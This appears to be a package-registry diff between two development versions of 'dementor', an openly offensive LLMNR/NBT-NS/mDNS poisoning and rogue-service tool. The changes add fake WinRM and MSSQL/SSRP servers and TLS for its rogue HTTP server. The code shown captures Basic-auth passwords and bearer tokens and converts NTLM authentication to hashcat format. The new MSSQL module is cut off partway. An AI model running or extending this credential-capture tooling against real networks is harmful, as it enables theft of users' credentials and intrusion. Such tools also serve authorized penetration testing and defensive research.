dementor 1.0.0.dev2__tar.gz → 1.0.0.dev4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dementor might be problematic. Click here for more details.

Files changed (46) hide show
  1. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/PKG-INFO +1 -1
  2. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/__init__.py +1 -1
  3. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/config.py +11 -4
  4. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/database.py +12 -4
  5. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/http.py +100 -17
  6. dementor-1.0.0.dev4/dementor/protocols/msrpc/__init__.py +19 -0
  7. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/msrpc/dcom.py +19 -0
  8. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/msrpc/epm.py +19 -0
  9. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/msrpc/rpc.py +19 -0
  10. dementor-1.0.0.dev4/dementor/protocols/msrpc.py +53 -0
  11. dementor-1.0.0.dev4/dementor/protocols/mssql.py +510 -0
  12. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/ntlm.py +4 -0
  13. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/quic.py +1 -2
  14. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/smb.py +1 -5
  15. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/smtp.py +1 -1
  16. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/servers.py +2 -2
  17. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/standalone.py +4 -3
  18. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor.egg-info/PKG-INFO +1 -1
  19. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor.egg-info/SOURCES.txt +3 -1
  20. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/pyproject.toml +1 -1
  21. dementor-1.0.0.dev4/test/test_mssql_auth.py +56 -0
  22. dementor-1.0.0.dev2/dementor/protocols/msrpc/__init__.py +0 -0
  23. dementor-1.0.0.dev2/dementor/protocols/msrpc.py +0 -34
  24. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/LICENSE +0 -0
  25. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/README.md +0 -0
  26. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/__main__.py +0 -0
  27. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/filters.py +0 -0
  28. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/loader.py +0 -0
  29. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/logger.py +0 -0
  30. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/paths.py +0 -0
  31. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/__init__.py +0 -0
  32. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/ftp.py +0 -0
  33. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/kerberos.py +0 -0
  34. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/ldap.py +0 -0
  35. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/llmnr.py +0 -0
  36. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/mdns.py +0 -0
  37. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/netbios.py +0 -0
  38. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor/protocols/spnego.py +0 -0
  39. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor.egg-info/dependency_links.txt +0 -0
  40. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor.egg-info/entry_points.txt +0 -0
  41. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/dementor.egg-info/top_level.txt +0 -0
  42. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/docs/README.pypi.md +0 -0
  43. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/setup.cfg +0 -0
  44. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/test/test_dcerpc.py +0 -0
  45. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/test/test_dcom.py +0 -0
  46. {dementor-1.0.0.dev2 → dementor-1.0.0.dev4}/test/test_epm.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev2
3
+ Version: 1.0.0.dev4
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -18,5 +18,5 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
 
21
- __version__ = "1.0.0.dev2"
21
+ __version__ = "1.0.0.dev4"
22
22
  __author__ = "MatrixEditor"
@@ -41,10 +41,10 @@ class TomlConfig:
41
41
  _section_: str | None
42
42
  _fields_: list[Attribute]
43
43
 
44
- def __init__(self, config: dict) -> None:
44
+ def __init__(self, config: dict | None = None) -> None:
45
45
  for field in self._fields_:
46
46
  self._set_field(
47
- config,
47
+ config or {},
48
48
  field.attr_name,
49
49
  field.qname,
50
50
  field.default_val,
@@ -152,6 +152,9 @@ class SessionConfig(TomlConfig):
152
152
  Attribute("mdns_enabled", "mDNS", True, factory=is_true),
153
153
  Attribute("http_enabled", "HTTP", True, factory=is_true),
154
154
  Attribute("msrpc_enabled", "RPC", True, factory=is_true),
155
+ Attribute("winrm_enabled", "WinRM", True, factory=is_true),
156
+ Attribute("mssql_enabled", "MSSQL", True, factory=is_true),
157
+ Attribute("ssrp_enabled", "SSRP", True, factory=is_true),
155
158
  Attribute("extra_modules", "ExtraModules", list),
156
159
  Attribute("workspace_path", "Workspace", DEMENTOR_PATH),
157
160
  ]
@@ -169,8 +172,8 @@ class SessionConfig(TomlConfig):
169
172
  def __init__(self) -> None:
170
173
  super().__init__(dm_config.get("Dementor", {}))
171
174
  # global options that are not loaded from configuration
172
- self.ipv6: Optional[str] = None
173
- self.ipv4: Optional[str] = None
175
+ self.ipv6 = None
176
+ self.ipv4 = None
174
177
  self.interface = None
175
178
  self.analysis = False
176
179
  self.loop = asyncio.get_event_loop()
@@ -190,6 +193,10 @@ class SessionConfig(TomlConfig):
190
193
  # REVISIT: this should raise an exception
191
194
  return self.interface == "ALL"
192
195
 
196
+ @property
197
+ def bind_address(self) -> str:
198
+ return "::" if self.ipv6 else str(self.ipv4)
199
+
193
200
 
194
201
  def _read(path: str):
195
202
  with open(path, "rb") as f:
@@ -197,11 +197,19 @@ class DementorDB:
197
197
  )
198
198
  results = self.db_exec(q).all()
199
199
  text = "Password" if credtype == _CLEARTEXT else "Hash"
200
+ username_text = markup.escape(username)
201
+ is_blank = len(str(username).strip()) == 0
202
+ if is_blank:
203
+ username_text = "(blank)"
204
+
200
205
  full_name = (
201
- f"[b]{markup.escape(username)}[/]/[b]{markup.escape(domain)}[/]"
206
+ f" for [b]{username_text}[/]/[b]{markup.escape(domain)}[/]"
202
207
  if domain
203
- else f"[b]{markup.escape(username)}[/]"
208
+ else f" for [b]{username_text}[/]"
204
209
  )
210
+ if is_blank:
211
+ full_name = ""
212
+
205
213
  if not results or self.config.db_config.db_duplicate_creds:
206
214
  # just insert a new row
207
215
  q = sql.insert(self.CredentialsTable).values(
@@ -219,13 +227,13 @@ class DementorDB:
219
227
  self.db_exec(q)
220
228
  with dm_console_lock:
221
229
  target_logger.success(
222
- f"Captured {credtype} {text} for {full_name} from {client_address}:",
230
+ f"Captured {credtype} {text}{full_name} from {client_address}:",
223
231
  host=hostname or client_address,
224
232
  locked=True,
225
233
  )
226
234
  if username != _NO_USER:
227
235
  target_logger.highlight(
228
- f"{credtype} Username: {markup.escape(username)}",
236
+ f"{credtype} Username: {username_text}",
229
237
  host=hostname or client_address,
230
238
  locked=True,
231
239
  )
@@ -20,7 +20,7 @@
20
20
  import socket
21
21
  import base64
22
22
  import pathlib
23
-
23
+ import ssl
24
24
 
25
25
  from http import HTTPStatus
26
26
  from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
@@ -54,12 +54,31 @@ def apply_config(session):
54
54
  servers.append(HTTPServerConfig(server_config))
55
55
  session.http_config = servers
56
56
 
57
+ winrm_config = []
58
+ config = HTTPServerConfig({"Port": 5985})
59
+ config.http_wpad_enabled = False
60
+ config.http_webdav_enabled = False
61
+
62
+ ssl_enabled = bool(config.http_cert)
63
+ config.http_cert = None
64
+ config.http_cert_key = None
65
+ winrm_config.append(config)
66
+ if ssl_enabled:
67
+ ssl_config = HTTPServerConfig({"Port": 5986})
68
+ ssl_config.http_wpad_enabled = False
69
+ ssl_config.http_webdav_enabled = False
70
+ ssl_config.http_use_ssl = True
71
+ winrm_config.append(ssl_config)
72
+
73
+ if session.winrm_enabled:
74
+ session.winrm_config = winrm_config
75
+
57
76
 
58
77
  def create_server_threads(session):
59
78
  servers = []
60
79
  for server_config in session.http_config if session.http_enabled else []:
61
80
  address = (
62
- "::" if session.ipv6 else session.ipv4 or "",
81
+ session.bind_address,
63
82
  server_config.http_port,
64
83
  )
65
84
  servers.append(
@@ -72,6 +91,19 @@ def create_server_threads(session):
72
91
  )
73
92
  )
74
93
 
94
+ if session.winrm_enabled:
95
+ for winrm_config in session.winrm_config:
96
+ servers.append(
97
+ ServerThread(
98
+ session,
99
+ HTTPServer,
100
+ winrm_config,
101
+ RequestHandlerClass=WinRMHandler,
102
+ server_address=(session.bind_address, winrm_config.http_port),
103
+ ipv6=bool(session.ipv6),
104
+ )
105
+ )
106
+
75
107
  return servers
76
108
 
77
109
 
@@ -138,6 +170,9 @@ class HTTPServerConfig(TomlConfig):
138
170
  A("http_templates", "TemplatesPath", [HTTP_TEMPLATES_PATH]),
139
171
  A("http_webdav_enabled", "WebDAV", True, factory=is_true),
140
172
  A("http_methods", "Methods", ["GET", "POST"]),
173
+ A("http_cert", "Cert", None, section_local=False),
174
+ A("http_cert_key", "Key", None, section_local=False),
175
+ A("http_use_ssl", "TLS", False, factory=is_true),
141
176
  ]
142
177
 
143
178
  def set_http_ntlm_challenge(self, challenge):
@@ -173,31 +208,35 @@ class HTTPHandler(BaseHTTPRequestHandler):
173
208
  def __init__(self, session, config, request, client_address, server) -> None:
174
209
  self.config = config
175
210
  self.session = session
211
+ self.client_address = client_address
212
+ self.challenge = None
213
+ self.setup_proto_logger()
214
+ for http_method in config.http_methods:
215
+ if http_method in ("OPTIONS", "PROPFIND"):
216
+ # reserved options
217
+ continue
218
+
219
+ setattr(self, f"do_{http_method}", lambda: self.handle_request(self.logger))
220
+
221
+ super().__init__(request, client_address, server)
222
+
223
+ def setup_proto_logger(self):
176
224
  self.logger = ProtocolLogger(
177
225
  extra={
178
226
  "protocol": "HTTP",
179
227
  "protocol_color": "chartreuse3",
180
- "host": normalize_client_address(client_address[0]),
181
- "port": config.http_port,
228
+ "host": normalize_client_address(self.client_address[0]),
229
+ "port": self.config.http_port,
182
230
  }
183
231
  )
184
232
  self.webdav_logger = ProtocolLogger(
185
233
  extra={
186
234
  "protocol": "WebDAV",
187
235
  "protocol_color": "sea_green3",
188
- "host": normalize_client_address(client_address[0]),
189
- "port": config.http_port,
236
+ "host": normalize_client_address(self.client_address[0]),
237
+ "port": self.config.http_port,
190
238
  }
191
239
  )
192
- self.challenge = None
193
- for http_method in config.http_methods:
194
- if http_method in ("OPTIONS", "PROPFIND"):
195
- # reserved options
196
- continue
197
-
198
- setattr(self, f"do_{http_method}", lambda: self.handle_request(self.logger))
199
-
200
- super().__init__(request, client_address, server)
201
240
 
202
241
  def do_PROPFIND(self):
203
242
  if self.config.http_webdav_enabled:
@@ -226,6 +265,9 @@ class HTTPHandler(BaseHTTPRequestHandler):
226
265
  self.logger.debug(f"- - {msg}")
227
266
 
228
267
  def send_response(self, code: int, message: str | None = None) -> None:
268
+ if not hasattr(self, "_headers_buffer"):
269
+ self._headers_buffer = []
270
+
229
271
  super().send_response(code, message)
230
272
  for header in self.config.http_extra_headers:
231
273
  self._headers_buffer.append(f"{header}\r\n".encode("latin-1", "strict"))
@@ -267,6 +309,12 @@ class HTTPHandler(BaseHTTPRequestHandler):
267
309
  path = pathlib.Path(self.path)
268
310
  return path.suffix == ".pac" or path.stem == "wpad"
269
311
 
312
+ def display_request(self, req_type: str | None = None, logger=None):
313
+ line = f"{self.command} request for {markup.escape(self.path)}"
314
+ if req_type:
315
+ line = f"{line} ({req_type})"
316
+ (logger or self.logger).display(line)
317
+
270
318
  def send_wpad_script(self):
271
319
  if self.config.proxy_config.proxy_script:
272
320
  # try to render the custom script
@@ -291,7 +339,6 @@ class HTTPHandler(BaseHTTPRequestHandler):
291
339
  self.wfile.write(body)
292
340
 
293
341
  def handle_request(self, logger):
294
- logger.display(f"{self.command} request for {markup.escape(self.path)}")
295
342
  if HTTPHeaders.AUTHORIZATION not in self.headers:
296
343
  # make sure the client authenticates to us
297
344
  if (
@@ -301,6 +348,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
301
348
  ):
302
349
  return self.send_wpad_script()
303
350
 
351
+ self.display_request("Unauthorized", logger)
304
352
  self.send_error(
305
353
  HTTPStatus.UNAUTHORIZED,
306
354
  "Unauthorized",
@@ -315,6 +363,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
315
363
  if method:
316
364
  method(token, logger)
317
365
  else:
366
+ logger.debug(f"Unknown authentication scheme: {name}")
318
367
  self.send_error(HTTPStatus.NOT_FOUND, "Not Found")
319
368
 
320
369
  def auth_negotiate(self, token, logger):
@@ -336,6 +385,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
336
385
 
337
386
  match message:
338
387
  case ntlm.NTLM_HTTP_AuthNegotiate():
388
+ self.display_request("NTLMSSP_NEGOTIATE", logger)
339
389
  challenge = NTLM_AUTH_CreateChallenge(
340
390
  message,
341
391
  *NTLM_split_fqdn(self.config.http_fqdn),
@@ -350,6 +400,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
350
400
  self.end_headers()
351
401
 
352
402
  case ntlm.NTLM_HTTP_AuthChallengeResponse():
403
+ self.display_request("NTLMSSP_AUTH", logger)
353
404
  # try to decode auth message
354
405
  auth_message = message
355
406
  hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
@@ -384,6 +435,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
384
435
  )
385
436
 
386
437
  def auth_bearer(self, token, logger):
438
+ self.display_request("Bearer", logger)
387
439
  self.session.db.add_auth(
388
440
  client=self.client_address,
389
441
  credtype="BearerToken",
@@ -395,6 +447,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
395
447
  self.finish_request(logger)
396
448
 
397
449
  def auth_basic(self, token, logger):
450
+ self.display_request("Basic", logger)
398
451
  try:
399
452
  username, password = base64.b64decode(token).decode().split(":", 1)
400
453
  except ValueError:
@@ -435,6 +488,18 @@ class HTTPHandler(BaseHTTPRequestHandler):
435
488
  return extras
436
489
 
437
490
 
491
+ class WinRMHandler(HTTPHandler):
492
+ def setup_proto_logger(self):
493
+ self.logger = ProtocolLogger(
494
+ extra={
495
+ "protocol": "WinRM",
496
+ "protocol_color": "spring_green1",
497
+ "host": normalize_client_address(self.client_address[0]),
498
+ "port": self.config.http_port,
499
+ }
500
+ )
501
+
502
+
438
503
  class HTTPServer(ThreadingHTTPServer):
439
504
  service_name = "HTTP"
440
505
 
@@ -458,9 +523,23 @@ class HTTPServer(ThreadingHTTPServer):
458
523
  )
459
524
 
460
525
  super().__init__(
461
- server_address or ("", 80),
526
+ server_address or (self.config.bind_address, 80),
462
527
  RequestHandlerClass or HTTPHandler,
463
528
  )
529
+ if self.server_config.http_use_ssl:
530
+ # if defined use ssl
531
+ cert_path = pathlib.Path(str(self.server_config.http_cert))
532
+ key_path = pathlib.Path(str(self.server_config.http_cert_key))
533
+ if not cert_path.exists() or not key_path.exists():
534
+ dm_logger.error(
535
+ f"({self.service_name}, {self.server_address[:2]}) Certificate or key file not found: "
536
+ f"Cert={self.server_config.http_cert} "
537
+ f"Key={self.server_config.http_cert_key}"
538
+ )
539
+ return
540
+ self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
541
+ self.ssl_context.load_cert_chain(certfile=cert_path, keyfile=key_path)
542
+ self.socket = self.ssl_context.wrap_socket(self.socket, server_side=True)
464
543
 
465
544
  def server_bind(self):
466
545
  bind_server(self, self.config)
@@ -492,3 +571,7 @@ class HTTPServer(ThreadingHTTPServer):
492
571
  print(e)
493
572
  dm_logger.error("Error rendering page: Could not find template")
494
573
  return
574
+
575
+
576
+ class WinRMServer(HTTPServer):
577
+ service_name = "WinRM"
@@ -0,0 +1,19 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
@@ -1,3 +1,22 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
1
20
  from array import array
2
21
  from impacket.dcerpc.v5 import dcomrt, rpcrt
3
22
  from dementor.protocols.msrpc.rpc import rev_rpc_status_codes
@@ -1,3 +1,22 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
1
20
  import socket
2
21
  import struct
3
22
 
@@ -1,3 +1,22 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
1
20
  import os
2
21
  import struct
3
22
  import random
@@ -0,0 +1,53 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ from collections import defaultdict
21
+ from dementor.config import TomlConfig
22
+ from dementor.servers import ServerThread
23
+ from dementor.protocols.msrpc.rpc import MSRPCServer, RPCConfig, RPCConnection
24
+
25
+
26
+ def apply_config(session):
27
+ session.rpc_config = TomlConfig.build_config(RPCConfig)
28
+
29
+ for module in session.rpc_config.rpc_modules:
30
+ # load custom config
31
+ if hasattr(module, "apply_config"):
32
+ module.apply_config(session)
33
+
34
+
35
+ def create_server_threads(session):
36
+ addr = "::" if session.ipv6 else session.ipv4 # necessary
37
+
38
+ # connection data will be shared across both servers
39
+ conn_data = defaultdict(RPCConnection)
40
+ return [
41
+ ServerThread(
42
+ session,
43
+ MSRPCServer,
44
+ server_address=(addr, 135),
45
+ handles=conn_data,
46
+ ),
47
+ ServerThread(
48
+ session,
49
+ MSRPCServer,
50
+ server_address=(addr, session.rpc_config.epm_port),
51
+ handles=conn_data,
52
+ ),
53
+ ]
@@ -0,0 +1,510 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ #
21
+ # SQL Server Resolution Protocol: [MS-SQLR]
22
+ # - https://winprotocoldoc.z19.web.core.windows.net/MC-SQLR/%5bMC-SQLR%5d.pdf
23
+ # pyright: reportInvalidTypeForm=false, reportCallIssue=false
24
+
25
+ from impacket import tds, ntlm
26
+ from rich.markup import escape
27
+
28
+ from caterpillar.py import (
29
+ FieldStruct,
30
+ pack,
31
+ struct,
32
+ Const,
33
+ uint32,
34
+ uint8,
35
+ CString,
36
+ LittleEndian,
37
+ Prefixed,
38
+ uint16,
39
+ unpack,
40
+ StructException,
41
+ )
42
+
43
+ from dementor.database import _CLEARTEXT
44
+ from dementor.config import Attribute as A, TomlConfig, is_true
45
+ from dementor.logger import ProtocolLogger
46
+ from dementor.protocols.ntlm import (
47
+ NTLM_AUTH_CreateChallenge,
48
+ NTLM_AUTH_decode_string,
49
+ NTLM_AUTH_is_anonymous,
50
+ NTLM_AUTH_to_hashcat_format,
51
+ NTLM_split_fqdn,
52
+ )
53
+ from dementor.servers import (
54
+ BaseProtoHandler,
55
+ ServerThread,
56
+ ThreadingTCPServer,
57
+ ThreadingUDPServer,
58
+ )
59
+ from dementor.filters import in_scope, BlacklistConfigMixin, WhitelistConfigMixin
60
+
61
+
62
+ def apply_config(session):
63
+ session.mssql_config = TomlConfig.build_config(MSSQLConfig)
64
+ session.ssrp_config = TomlConfig.build_config(SSRPConfig)
65
+
66
+
67
+ def create_server_threads(session):
68
+ servers = []
69
+ if session.ssrp_enabled:
70
+ servers.append(ServerThread(session, SSRPServer))
71
+
72
+ if session.mssql_enabled:
73
+ servers.append(ServerThread(session, MSSQLServer))
74
+
75
+ return servers
76
+
77
+
78
+ # =============================================================================
79
+ # MS-SQLR
80
+ # =============================================================================
81
+
82
+ SSRP_CLNT_BCAST_EX = 0x02
83
+ SSRP_CLNT_UCAST_EX = 0x03
84
+ SSRP_CLNT_UCAST_INST = 0x04
85
+ SSRP_SVR_RESP = 0x05
86
+ SSRP_CLNT_UCAST_DAC = 0x0F
87
+
88
+
89
+ # 2.2.1 CLNT_BCAST_EX
90
+ @struct
91
+ class CLNT_BCAST_EX:
92
+ op_num: Const(SSRP_CLNT_BCAST_EX, uint8)
93
+
94
+
95
+ # 2.2.2 CLNT_UCAST_EX
96
+ @struct
97
+ class CLNT_UCAST_EX:
98
+ op_num: Const(SSRP_CLNT_UCAST_EX, uint8)
99
+
100
+
101
+ # 2.2.3 CLNT_UCAST_INST
102
+ @struct
103
+ class CLNT_UCAST_INST:
104
+ op_num: Const(SSRP_CLNT_UCAST_INST, uint8)
105
+ instance: CString()
106
+
107
+
108
+ # 2.2.4 CLNT_UCAST_DAC
109
+ @struct
110
+ class CLNT_UCAST_DAC:
111
+ op_num: Const(SSRP_CLNT_UCAST_DAC, uint8)
112
+ version: Const(0x01, uint8)
113
+ instance: CString()
114
+
115
+
116
+ # 2.2.5 SVR_RESP
117
+ @struct(order=LittleEndian)
118
+ class SVR_RESP:
119
+ op_num: Const(SSRP_SVR_RESP, uint8)
120
+ data: Prefixed(uint16, encoding="utf-8")
121
+
122
+
123
+ # 2.2.6 SVR_RESP (DAC)
124
+ @struct(order=LittleEndian)
125
+ class SVR_RESP_DAC:
126
+ op_num: Const(SSRP_SVR_RESP, uint8)
127
+ resp_size: Const(0x06, uint16)
128
+ version: Const(0x01, uint8)
129
+ tcp_dac_port: uint16
130
+
131
+
132
+ class SSRPConfig(TomlConfig, BlacklistConfigMixin, WhitelistConfigMixin):
133
+ _section_ = "SSRP"
134
+ _fields_ = (
135
+ [
136
+ A("ssrp_server_name", "MSSQL.FQDN", "DEMENTOR"),
137
+ A("ssrp_server_version", "MSSQL.Version", "9.00.1399.06"),
138
+ A("ssrp_server_instance", "MSSQL.InstanceName", "MSSQLServer"),
139
+ A("ssrp_instance_config", "InstanceConfig", ""),
140
+ ]
141
+ + BlacklistConfigMixin._extra_fields_
142
+ + WhitelistConfigMixin._extra_fields_
143
+ )
